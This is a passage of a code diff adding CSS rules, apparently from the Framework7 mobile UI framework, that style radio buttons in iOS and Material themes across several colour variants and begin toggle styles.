+ position: absolute; + top: 50%; + margin-top: -11px; + right: 10px; +} +.ios label.item-radio .item-inner { + padding-right: 35px; +} +.ios label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .radio input[type="radio"]:checked ~ .icon-radio { + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 10px; +} +.ios .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios label.item-radio .item-content .item-media, +.ios label.item-radio.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.ios label.item-radio.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-right-edge label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .ios-edges label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .popup label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .sheet-modal label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .panel-right label.item-radio input[type="radio"] ~ .icon-radio { + right: calc(10px + constant(safe-area-inset-right)); + right: calc(10px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner { + padding-right: calc(35px + constant(safe-area-inset-right)) !important; + padding-right: calc(35px + env(safe-area-inset-right)); + } +} +.ios .theme-dark label.item-radio.active-state { + background-color: #363636; +} +.ios .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff3b30; +} +.ios .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #4cd964; +} +.ios .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff2d55; +} +.ios .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffcc00; +} +.ios .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9500; +} +.ios .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #8e8e93; +} +.ios .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.ios .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.ios label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-red input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-red input[type="radio"]:checked ~ .icon-radio { + border-color: #ff3b30; +} +.ios label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-green input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-green input[type="radio"]:checked ~ .icon-radio { + border-color: #4cd964; +} +.ios label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + border-color: #ff2d55; +} +.ios label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + border-color: #ffcc00; +} +.ios label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9500; +} +.ios label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + border-color: #8e8e93; +} +.ios label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-white input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-white input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.ios label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-black input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-black input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md .icon-radio { + width: 20px; + height: 20px; + position: relative; + border-radius: 50%; + border: 2px solid #6d6d6d; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + display: block; +} +.md .icon-radio:after { + content: ''; + position: absolute; + width: 10px; + height: 10px; + left: 50%; + top: 50%; + margin-left: -5px; + margin-top: -5px; + background-color: #2196f3; + border-radius: 50%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; + -webkit-transform: scale(1); + transform: scale(1); +} +.md label.item-radio { + position: relative; + overflow: hidden; + z-index: 0; +} +.md label.item-radio > .icon-radio { + margin-right: 38px; +} +.md label.item-radio .item-content .item-media, +.md label.item-radio.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.md label.item-radio.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .theme-dark label.item-radio.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .icon-radio { + border-color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .icon-radio:after { + background-color: #f44336; +} +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #f44336; +} +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #f44336; +} +.md .color-theme-red .radio .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-green .icon-radio:after { + background-color: #4caf50; +} +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #4caf50; +} +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #4caf50; +} +.md .color-theme-green .radio .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-blue .icon-radio:after { + background-color: #2196f3; +} +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; +} +.md .color-theme-blue .radio .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-pink .icon-radio:after { + background-color: #e91e63; +} +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #e91e63; +} +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #e91e63; +} +.md .color-theme-pink .radio .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-yellow .icon-radio:after { + background-color: #ffeb3b; +} +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffeb3b; +} +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffeb3b; +} +.md .color-theme-yellow .radio .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-orange .icon-radio:after { + background-color: #ff9800; +} +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9800; +} +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ff9800; +} +.md .color-theme-orange .radio .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-gray .icon-radio:after { + background-color: #9e9e9e; +} +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #9e9e9e; +} +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #9e9e9e; +} +.md .color-theme-gray .radio .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-white .icon-radio:after { + background-color: #ffffff; +} +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffffff; +} +.md .color-theme-white .radio .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-black .icon-radio:after { + background-color: #000000; +} +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio, +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.md .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio:after, +.md .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio:after, +.md .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio:after { + background-color: #000000; +} +.md .color-theme-black .radio .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +.md .radio.color-red .icon-radio:after { + background-color: #f44336; +} +.md label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-red input[type="radio"]:checked ~ .icon-radio { + border-color: #f44336; +} +.md label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-red input[type="radio"]:checked ~ .icon-radio:after { + background-color: #f44336; +} +.md .radio.color-red .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .radio.color-green .icon-radio:after { + background-color: #4caf50; +} +.md label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-green input[type="radio"]:checked ~ .icon-radio { + border-color: #4caf50; +} +.md label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-green input[type="radio"]:checked ~ .icon-radio:after { + background-color: #4caf50; +} +.md .radio.color-green .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .radio.color-blue .icon-radio:after { + background-color: #2196f3; +} +.md label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + border-color: #2196f3; +} +.md label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-blue input[type="radio"]:checked ~ .icon-radio:after { + background-color: #2196f3; +} +.md .radio.color-blue .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .radio.color-pink .icon-radio:after { + background-color: #e91e63; +} +.md label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + border-color: #e91e63; +} +.md label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-pink input[type="radio"]:checked ~ .icon-radio:after { + background-color: #e91e63; +} +.md .radio.color-pink .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .radio.color-yellow .icon-radio:after { + background-color: #ffeb3b; +} +.md label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + border-color: #ffeb3b; +} +.md label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-yellow input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffeb3b; +} +.md .radio.color-yellow .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .radio.color-orange .icon-radio:after { + background-color: #ff9800; +} +.md label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9800; +} +.md label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-orange input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ff9800; +} +.md .radio.color-orange .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .radio.color-gray .icon-radio:after { + background-color: #9e9e9e; +} +.md label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + border-color: #9e9e9e; +} +.md label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-gray input[type="radio"]:checked ~ .icon-radio:after { + background-color: #9e9e9e; +} +.md .radio.color-gray .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .radio.color-white .icon-radio:after { + background-color: #ffffff; +} +.md label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-white input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.md label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-white input[type="radio"]:checked ~ .icon-radio:after { + background-color: #ffffff; +} +.md .radio.color-white .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .radio.color-black .icon-radio:after { + background-color: #000000; +} +.md label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio, +.md label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio, +.md .radio.color-black input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.md label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio:after, +.md label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio:after, +.md .radio.color-black input[type="radio"]:checked ~ .icon-radio:after { + background-color: #000000; +} +.md .radio.color-black .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +/* === Toggle === */ +.toggle { + display: inline-block; + vertical-align: middle; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.toggle input[type="checkbox"] { + display: none; +} +.toggle input[disabled] ~ .toggle-icon { + pointer-events: none; +} +.toggle-icon { + z-index: 0; + margin: 0; + padding: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + position: relative; + -webkit-transition: 300ms; + transition: 300ms; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + cursor: pointer; +} +.toggle-icon:before, +.toggle-icon:after { + content: ''; +} +.toggle-icon:after { + background: #fff; + position: absolute; + z-index: 2; + -webkit-transform: translateX(0px); + transform: translateX(0px); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.ios .toggle { + width: 52px; + border-radius: 16px; + height: 32px; +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon { + background: #4cd964; +} +.ios .toggle 